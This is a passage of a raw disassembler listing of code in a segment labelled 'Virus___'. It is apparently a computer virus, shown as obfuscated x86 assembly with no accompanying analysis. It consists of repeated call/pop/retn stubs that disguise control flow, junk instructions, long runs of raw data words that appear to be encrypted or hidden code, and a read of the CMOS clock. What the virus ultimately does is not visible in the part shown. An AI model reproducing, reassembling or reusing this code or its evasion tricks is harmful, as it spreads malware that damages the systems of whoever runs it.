; --------------------------------------------------------------------------- mov ch, 90h setalc and esi, 5C9E5ABh cmp dword ptr [ebp+71B2BFDh], 7D0h jnz loc_579594 push 0 push ecx call sub_579579 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579579 proc near ; CODE XREF: Virus___:00579571p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_579579 endp ; --------------------------------------------------------------------------- xchg eax, esp sub eax, 0FD85FF5Fh sub ebx, [ebx] pop es mov edi, ecx loc_579594: ; CODE XREF: Virus___:00579568j push dword ptr [ebp+71B2BFDh] push 0 push eax call sub_5795A5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5795A5 proc near ; CODE XREF: Virus___:0057959Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5795A5 endp ; --------------------------------------------------------------------------- pushf and eax, 23684FF4h pop edi or ebx, [edi] mov edi, edi xchg eax, ebp mov [edx], edx sbb eax, [edi] mov [ebp+71B1445h], ecx nop jb loc_5795D6 mov di, 73BDh loc_5795D6: ; CODE XREF: Virus___:005795CCj push 0 push esi call sub_5795E1 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5795E1 proc near ; CODE XREF: Virus___:005795D9p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5795E1 endp ; --------------------------------------------------------------------------- db 0Bh, 51h, 12h dd 0F9035E2h, 208Dh, 14E800h, 19CA0000h, 88B479E5h, 5082E01Ah dd 0F2A5B0F5h, 9E853B38h, 9589EC20h, 71B2801h, 51006A5Fh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 90FBD76Ah, 897CEA7Ch, 1B25D985h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0BE632AB3h dd 24258D89h, 0BD8B071Bh, 71B08C9h, 2D71B589h, 0BF0F071Bh dd 53006AF2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 440664EEh, 897DA98Ah, 1B1741BDh, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 29D05D32h, 0F6B70F2Ah, 8E9h, 325F5400h, 15A830C4h, 0F83CE9D2h dd 890FFFFFh, 19h, 128C0FF9h, 81000000h, 0DE7814D7h, 7E973h dd 0EB790000h, 0E96E9B88h ; --------------------------------------------------------------------------- xchg eax, edx loc_5796F5: ; CODE XREF: Virus___:00578F0Dj mov eax, ecx mov [ebp+71B28E1h], edx jmp short loc_579703 ; --------------------------------------------------------------------------- align 10h db 3 dup(0) ; --------------------------------------------------------------------------- loc_579703: ; CODE XREF: Virus___:005796FDj push 0 push esi call sub_57970E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57970E proc near ; CODE XREF: Virus___:00579706p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_57970E endp ; --------------------------------------------------------------------------- mov dl, 0DDh mov eax, ds:0E6758173h movsx edi, di sub [ebp+71B1B45h], edi lea eax, [ebp+71B1255h] sub di, 8FC8h push eax mov esi, 19BAC61h mov [esp], eax push 0 push eax call sub_57974D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57974D proc near ; CODE XREF: Virus___:00579745p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_57974D endp ; --------------------------------------------------------------------------- db 0ECh, 6Dh, 0A0h ; --------------------------------------------------------------------------- ja short near ptr loc_579775+1 pusha cmc mov edi, [ebp+71B2F31h] popa pusha sbb dl, 4Eh popa movzx esi, ax push 0 loc_579775: ; CODE XREF: Virus___:00579760j mov si, di mov di, bx push 0 push 0 push edx call sub_579788 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579788 proc near ; CODE XREF: Virus___:00579780p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_579788 endp ; --------------------------------------------------------------------------- test eax, 4687E86Ah pop esp mov edi, [ebp+71B0A71h] mov [ebp+71B2F79h], edi jle loc_5797B6 mov [ebp+71B11D1h], edi loc_5797B6: ; CODE XREF: Virus___:005797AAj lea eax, [ebp+71EE759h] push 0 push esi call sub_5797C7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5797C7 proc near ; CODE XREF: Virus___:005797BFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5797C7 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- pusha add eax, 5 push 0 push edi call sub_5797E7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5797E7 proc near ; CODE XREF: Virus___:005797DFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5797E7 endp ; --------------------------------------------------------------------------- or al, ch xor eax, 907DAE8Eh mov si, cx push eax mov edi, 34443551h nop push 0 push edi call sub_579813 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579813 proc near ; CODE XREF: Virus___:0057980Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_579813 endp ; --------------------------------------------------------------------------- db 0F4h dd 8149FD6Fh, 5212E173h, 68D0F4Dh, 8B000000h, 1B26D5BDh dd 0FC006A07h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0F2CB2C3h, 7A8CA218h, 0A995FFC7h dd 50071B1Eh, 830Fh, 8D5E0000h, 1E979C9Dh, 59BD8907h, 0FF071B0Ah dd 51006AD3h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8B285D7Ah, 4D85FFF1h, 6A071B26h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0BF22C357h, 0E99A245Ah, 82Ah, 0E8h, 0ED815D00h, 71EE763h dd 0BE9h, 36D6100h, 693E3906h, 969B90F0h, 21C18589h, 0BD81071Bh dd 71B2BFDh, 7D0h, 174860Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0FDA1FFC3h dd 0F994D9Bh, 0BF0FF7BFh, 0B99D8BF0h, 6A071B25h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 1AE5C355h, 933DA21Bh, 0F94EE0Eh, 38Fh, 0FA8B6600h, 100E381h dd 8D890000h, 71B0A2Dh, 0D5BD0360h, 8B071B09h, 0DB0B61DAh dd 8D850Fh, 0DF810000h, 2F840F51h, 0E595BD83h, 0F00071Eh dd 2984h, 0BD0B6000h, 71B28D9h, 7BE961h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 85C73DC3h, 71EE595h, 1, 10E8h, 0BF30F100h, 99CF0D58h dd 3692F422h, 603FA6FFh, 8D0FEEh, 5F000000h, 34E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 8BC2ACD6h, 0ED9D89A1h, 0C7071B30h, 1EE59585h, 7, 70BE6600h dd 0B99D8D53h, 6A071B25h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 7497C355h, 35950926h dd 81071B33h, 0FFFEFF23h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0F705C581h dd 8E9h, 0CC8A7900h, 0FE0F62C5h, 0D68166ADh, 8C6606F9h dd 0E5BD89DBh, 0F6071B21h, 840F04C3h, 4Ah, 331B58Bh, 95FF071Bh dd 71B2A09h, 90FAB70Fh, 0EE9h, 5A8B6D00h, 56083998h, 4535D941h dd 5096E1CFh, 13E8h, 8B9F7400h, 0A42CA1ACh, 45100337h dd 506FD1BCh, 3430E078h, 8B5E5660h, 905E61DFh, 23D18D01h dd 18E9071Bh, 89000004h, 1B35DD8Dh, 0E800B007h, 8, 0AEC55032h dd 62D77B8Ah, 13E9h, 88B17A00h, 0BC056811h, 0E1221411h dd 8BA33EB3h, 131D3680h, 0B70E65Fh, 1B30B5B5h, 6A71E407h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F51C352h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0F8D5ECC3h, 69811F61h dd 6E9EA41h, 5E000000h, 0D2C0368Dh, 6BAF1h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 710366C3h, 0C38B8ACEh, 0B8D0Fh, 870F0000h, 5, 0A5CE8166h dd 4E8C1C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 4AC35242h, 359783CDh, 0E63F7C33h, 0E2F766C6h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F8C35545h, 7D66C229h dd 0E98878A8h, 11h, 2D89B667h, 0C8B28D02h, 0D1B24CF3h dd 83871B05h, 6AD82B11h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0A9D6C353h, 0A9942C31h dd 0BD8B0B97h, 71B3169h, 0F08B6650h, 89241C89h, 1B138595h dd 1BD3107h, 0FF071B35h, 1B2BFDB5h, 10E907h, 0A6710000h dd 0B08A95C9h, 0D71A2960h, 782B3EEBh, 95FF1E35h, 71B1289h dd 0AE8h, 8F15EF00h, 42725498h, 8BC75DD3h, 1B2865BDh, 0C6815F07h dd 3019875h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0B9BE48C3h, 0A558E777h, 85898BEAh dd 71B33B5h, 71E470E6h, 32C19589h, 613C071Bh, 23D830Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 8E6F2FC3h, 0FC1BD380h, 3479BD31h, 0B60F071Bh dd 0DE856D8h, 0B8000000h, 243FAE3h, 0BB6E1DD3h, 62C4D450h dd 5E5EF88Bh, 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 69EC9A8Fh, 21EF8166h dd 52C38B2Ch, 354E6ABFh, 0E8C15E22h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0F7666012h dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0B66E9E8Bh, 9B9283B2h, 0B58BCEE8h, 71B1A85h dd 9589D82Bh, 71B3499h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BF66A2BDh, 0D82BBD7Dh dd 149880Fh, 7B90000h, 0E8000000h, 14h, 3FEFEF1Fh, 3DF16E33h dd 0B0BD8FE0h, 0D08154FDh, 0F84E3C6Dh, 2F1BD8Bh, 835F071Bh dd 0F78B00C1h, 860FD93Bh, 117h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 18C35545h, 0B58BE513h, 71B0D19h dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 667BC356h, 66E594BEh, 0C1F6F88Bh dd 0C0840F04h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 437EC351h, 995FFF5h dd 6A071B2Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0E0CC351h, 5B7BF4B1h, 0AE9h, 7C883600h dd 22523922h, 2B245ABFh, 1BD2BC3h, 31071B2Ah, 1B272D9Dh dd 8343D07h, 860F0000h, 53h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0F7C35646h, 57FC4A36h, 5DBD8B5Fh dd 0E9071B1Ch, 2Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 1CC35141h, 0E3FF9922h, 0CDBD8B33h, 8B071B0Dh dd 8B5F50C0h, 0C7D88BC3h, 1B2D9585h, 46D79B07h, 51006A5Ah dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0DE8166FBh, 0C08BCD60h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 4BC35040h, 0FDBD81C4h, 0D0071B2Bh, 0F000007h dd 3585h, 0EDBD8B00h, 89071B2Dh, 1B27519Dh, 0FD85FF07h dd 6A071B2Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 4DB6C352h, 0F7C00186h, 0B5FF2105h dd 71B2BFDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0A9C35141h, 86D2DF96h, 0BF3B7A58h, 0CDA39A5h, 8995FFF5h dd 51071B12h, 0CAEBDF81h, 905E54DFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0AFC35343h, 80E25FC4h, 94BDCBE7h dd 0FE938h, 34690000h, 0F84D68E9h, 7D66C229h, 7E8878A8h dd 0B9B58982h, 6A071B1Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 7A7CC353h, 0FA08BD57h dd 0FBB70F3Ah, 1F3D8D01h, 10E9071Bh dd 7B000000h, 936AA256h, 3326198Dh, 66E1FFA7h, 29CC4092h dd 1B119195h, 1B58B07h, 6A071B18h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 597DC356h dd 8B0F1C8Fh, 3, 6AFA8B66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0B6EC353h, 0BEFA8B66h dd 40791851h, 53006AF8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 7F799EDCh, 0FFED7AF2h, 17758D89h dd 9E9071Bh, 6AFFFFF8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 752AC355h, 2D35B1B1h dd 8166A036h, 311D4BD7h, 1B332995h, 9EF1BE07h, 0C18B73AAh dd 2101B58Bh, 4EB071Bh, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_57A10B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A10B proc near ; CODE XREF: Virus___:0057A103p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_57A10B endp ; --------------------------------------------------------------------------- sbb edi, [eax-7Bh] jge short loc_57A165 inc edi xor al, 0FFh aam 8Bh mov ebp, 71B2351h push 0 push edx call sub_57A135 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A135 proc near ; CODE XREF: Virus___:0057A12Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_57A135 endp ; --------------------------------------------------------------------------- db 10h, 57h, 5Eh dd 1255858Dh, 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h db 0 ; --------------------------------------------------------------------------- loc_57A165: ; CODE XREF: Virus___:0057A11Ej add [esi+56h], al retn ; --------------------------------------------------------------------------- db 10h, 92h, 5Ah ; --------------------------------------------------------------------------- or si, 9673h jmp loc_57A188 ; --------------------------------------------------------------------------- dw 0C548h dd 44331D16h, 645BFDE1h, 788433DDh, 87898024h ; --------------------------------------------------------------------------- loc_57A188: ; CODE XREF: Virus___:0057A171j push eax push esi mov edi, ecx pop esi mov [esp], eax push 0 push edx call sub_57A19B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A19B proc near ; CODE XREF: Virus___:0057A193p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_57A19B endp ; --------------------------------------------------------------------------- xchg edi, eax add ebp, [edx+0] sub [ebp+71B0345h], esi push 0 push 0 push ebx call sub_57A1C3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A1C3 proc near ; CODE XREF: Virus___:0057A1BBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_57A1C3 endp ; --------------------------------------------------------------------------- rol dword ptr [esp+eax*2], 1 pusha sub [ebp+71B2ECDh], edi or esi, [ebp+71B0D41h] lea eax, [ebp+71EF180h] xor [ebp+71B30B5h], edx add eax, 5 push 0 push ebx call sub_57A1FD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A1FD proc near ; CODE XREF: Virus___:0057A1F5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_57A1FD endp ; --------------------------------------------------------------------------- db 0C6h, 69h, 90h ; --------------------------------------------------------------------------- jmp loc_57A226 ; --------------------------------------------------------------------------- db 49h, 12h, 0Ah dd 0DABD0998h, 0E53F11C9h, 7403BB0Fh db 22h, 81h ; --------------------------------------------------------------------------- loc_57A226: ; CODE XREF: Virus___:0057A210j push eax nop mov si, 3009h push 0 mov di, bx push 0 push 0 push ecx call sub_57A23E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A23E proc near ; CODE XREF: Virus___:0057A236p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_57A23E endp ; --------------------------------------------------------------------------- dw 8E63h dd 4685336Ch, 2B3821E2h, 1B1FE1BDh, 0B1BB6007h, 617F7127h dd 1EA995FFh, 0CF81071Bh, 425F4251h, 979C9D8Dh, 6A071Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0FF5EC3C3h, 770F51DEh, 66E2C96Dh, 19EF781h, 12E9D3FFh dd 8D000000h, 1A5163F3h, 5BF9836Fh, 9CB0320h, 2C8C9C9Eh dd 4D85FF61h, 6A071B26h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 5A0EC353h, 5471490Dh dd 8141EEA5h, 2A498D89h, 8BE9071Bh, 0E8000008h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 71EF18Ah xor [ebp+71B1639h], ecx cmp dword ptr [ebp+71B2BFDh], 7D0h jbe loc_57A48F push 0 push ebp call sub_57A31C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A31C proc near ; CODE XREF: Virus___:0057A314p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_57A31C endp ; --------------------------------------------------------------------------- lodsb aad 38h aam 0ACh mov eax, 0B58BC317h popa adc al, 1Bh pop es mov ebx, [ebp+71B2B21h] push 0 push eax call sub_57A34B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A34B proc near ; CODE XREF: Virus___:0057A343p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_57A34B endp ; --------------------------------------------------------------------------- mov cl, 0EEh aad 0F2h mov [eax+66BD4DF7h], bl mov edi, eax and ebx, 100h mov esi, [ebp+71B2E45h] or ebx, ebx jnz loc_57A40F mov [ebp+71B2DC5h], esi cmp dword ptr [ebp+71EEF92h], 0 jz loc_57A3D9 sub esi, 517EF04Ah jmp near ptr loc_57A438+7 ; --------------------------------------------------------------------------- push 0 push edx call sub_57A3A4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A3A4 proc near ; CODE XREF: Virus___:0057A39Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_57A3A4 endp ; --------------------------------------------------------------------------- dd 0E9378BC8h, 11h, 0FE0F62C5h, 0C2D223ADh, 2DEF8D41h dd 5E9C3018h, 0CE816602h, 8E0F9BD0h, 1 ; --------------------------------------------------------------------------- clc loc_57A3D9: ; CODE XREF: Virus___:0057A388j mov dword ptr [ebp+71EEF92h], 1 push 0 push esi call sub_57A3EE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A3EE proc near ; CODE XREF: Virus___:0057A3E6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_57A3EE endp ; --------------------------------------------------------------------------- dw 0AE1Bh dd 66D93380h, 183CE81h, 32E9h db 0, 8Bh, 0F9h ; --------------------------------------------------------------------------- loc_57A40F: ; CODE XREF: Virus___:0057A375j mov dword ptr [ebp+71EEF92h], 0 call near ptr loc_57A428+1 dec esp out 97h, eax mov [edx+ecx*8], edi enter 0FFFF9D7Bh, 17h loc_57A428: ; CODE XREF: Virus___:0057A419p mov gs, cx sldt word ptr [eax] add [edx], al aam 8Eh fistp word ptr [edx+0E08815Ch] xchg eax, ebp loc_57A438: ; CODE XREF: Virus___:0057A394j imul ebx, ds:5E8249BCh, 219D8DF8h sub ebx, [ebx] pop es push 0 push edi call sub_57A450 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A450 proc near ; CODE XREF: Virus___:0057A448p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_57A450 endp ; --------------------------------------------------------------------------- dd 0C1328A9Fh, 5BA30EAEh, 0FF2381F8h, 6AFFFFFEh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 5ABFC355h ; --------------------------------------------------------------------------- and al, 8Bh sti loc_57A48F: ; CODE XREF: Virus___:0057A30Bj mov bx, ds push ebx pop edi test bl, 4 jz loc_57A505 push 0 push ecx call sub_57A4A8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A4A8 proc near ; CODE XREF: Virus___:0057A4A0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_57A4A8 endp ; --------------------------------------------------------------------------- dd 0EA9F4D99h, 2A9569DDh, 995FFD5h, 0E8071B2Ah, 6, 0EFDD214h dd 0BD8B24B0h, 71B2C5Dh, 0BE66905Fh, 905089D0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7C35242h, 8957FA8Fh dd 1B2821BDh ; --------------------------------------------------------------------------- pop es loc_57A505: ; CODE XREF: Virus___:0057A497j jmp loc_57A927 ; --------------------------------------------------------------------------- jmp loc_57A518 ; --------------------------------------------------------------------------- pop es and al, 71h test eax, 0F5924D0Ah cli loc_57A518: ; CODE XREF: Virus___:0057A50Aj mov al, 0 mov [ebp+71B3319h], edi out 70h, al ; CMOS Memory: ; used by real-time clock mov esi, 0BDB066Dh in al, 71h ; CMOS Memory pusha mov [ebp+71B0A31h], ecx add ah, 45h popa movzx ebx, al push 0 push ebx call sub_57A542 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A542 proc near ; CODE XREF: Virus___:0057A53Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_57A542 endp ; --------------------------------------------------------------------------- xor byte ptr [edi+271DBD8Bh], 1Bh pop es mov edx, 6 sub [ebp+71B1461h], ecx mov eax, ebx push 0 push esi call sub_57A572 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A572 proc near ; CODE XREF: Virus___:0057A56Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_57A572 endp ; --------------------------------------------------------------------------- cmpsb movsd push 32B04C59h lahf mov [ebp+71B3271h], edx mov [ebp+71B2FC1h], ecx shr eax, 4 push 0 push edi call sub_57A5A4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A5A4 proc near ; CODE XREF: Virus___:0057A59Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_57A5A4 endp ; --------------------------------------------------------------------------- dd 7712847Dh, 49D92D96h, 66FE8BC5h, 6AE2F7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 4F72BBC3h dd 9529D82Bh, 71B1EF9h, 150D8D29h, 5093071Bh, 78A5E8BEh dd 0BD8B9347h, 71B2E71h, 2BFDB5FFh, 6A071Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 33C131C3h dd 276DBD8Bh, 95FF071Bh, 71B1289h, 5E5200B0h, 0F6070E6h dd 280h, 8BDE8B00h, 1B21CD9Dh, 71E46107h, 9899589h, 613C071Bh dd 2D5830Fh, 6E80000h, 0CC000000h, 8502F5AAh, 0EE9BFh dd 0BD530000h, 45FCA02Ch, 0BDC007E0h, 53568A8Bh, 0D8B60F5Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 82C35343h dd 7E9A528h, 0 dd 0B31CF4D4h, 10E8230Bh, 0F2000000h, 0B30BA3BEh, 0EF6CCAC8h dd 7A780AF2h, 0F9A72B5Bh, 6BA5Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DC9192C3h dd 0A5B69B70h, 4860FB8h, 50000000h, 8B5F5E57h, 53006AC3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 5ED03CCFh, 0F82E24EEh, 2904E8C1h, 1B21C1B5h, 0E2F76607h dd 0E830Fh, 0F600000h, 85h, 99858B00h, 61071B14h, 0BF0FD82Bh dd 13E958FBh, 1C000000h, 160E6B0Dh, 0DA41B950h, 1B2CBE45h dd 11729D8Ch, 0D82BDD72h, 1D5880Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 18CE6FC3h dd 2156A81Bh, 816660E4h, 60C981CFh, 816646B5h, 617537C2h dd 0CF816661h, 7B9B228h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0EE7DC356h dd 665E7589h, 8344DBBEh, 6A00C1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 90C8A9C3h, 0DFEC5043h dd 5890F68h, 0BE000000h, 5F47B403h, 860FD93Bh, 13Bh, 20EDBD8Bh dd 6E8071Bh, 2000000h, 8BC744F9h, 0DDB58B74h, 5E071B24h dd 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 1E97C357h, 0F6DAC40Ch, 840F04C1h dd 0D4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 99C35242h, 0F1ED4C04h, 5E8E2h, 1DC0000h, 89C4D97Eh dd 1B1475B5h, 95FF5E07h, 71B2A09h, 5BF6BF0Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0FDC35646h, 6AC32Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0C11D6CC3h, 2840Fh, 5E500000h, 2B41B589h, 343D071Bh dd 0F000008h, 4386h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0BE9F4h, 6C1F0000h, 2500D9F2h dd 529341D0h, 6880FE4h, 23000000h, 1B09D9B5h, 29E907h dd 0BD8B0000h, 71B306Dh, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 80BF10C3h db 9Ah, 33h, 3Ch ; --------------------------------------------------------------------------- loc_57A927: ; CODE XREF: Virus___:loc_57A505j mov eax, ebx mov ebx, eax push 0 push esi call sub_57A936 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A936 proc near ; CODE XREF: Virus___:0057A92Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_57A936 endp ; --------------------------------------------------------------------------- push eax test eax, ebp sar dword ptr [edi+4Ah], 7Bh mov dword ptr [ebp+71B25B9h], 55AA6953h mov esi, 45A53013h mov edi, 240F977Fh mov eax, eax push 0 push eax call sub_57A96E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A96E proc near ; CODE XREF: Virus___:0057A966p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_57A96E endp ; --------------------------------------------------------------------------- dw 0D1EAh dd 0D7A44CADh, 0FE82945h, 42000000h, 8B07218Bh, 6AD79334h dd 9EB87DF6h, 0B58BD07Dh, 71B16DDh, 0FDBD815Fh, 0D0071B2Bh dd 0F000007h, 1885h, 79952900h, 89071B0Bh, 1B2B5585h, 0FD85FF07h dd 29071B2Bh, 1B092595h, 0FDB5FF07h, 6A071B2Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0CA7BC356h, 327EB85Dh, 6F9C6FADh, 6A6D75BFh, 8995FF28h dd 6A071B12h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0C94EC355h, 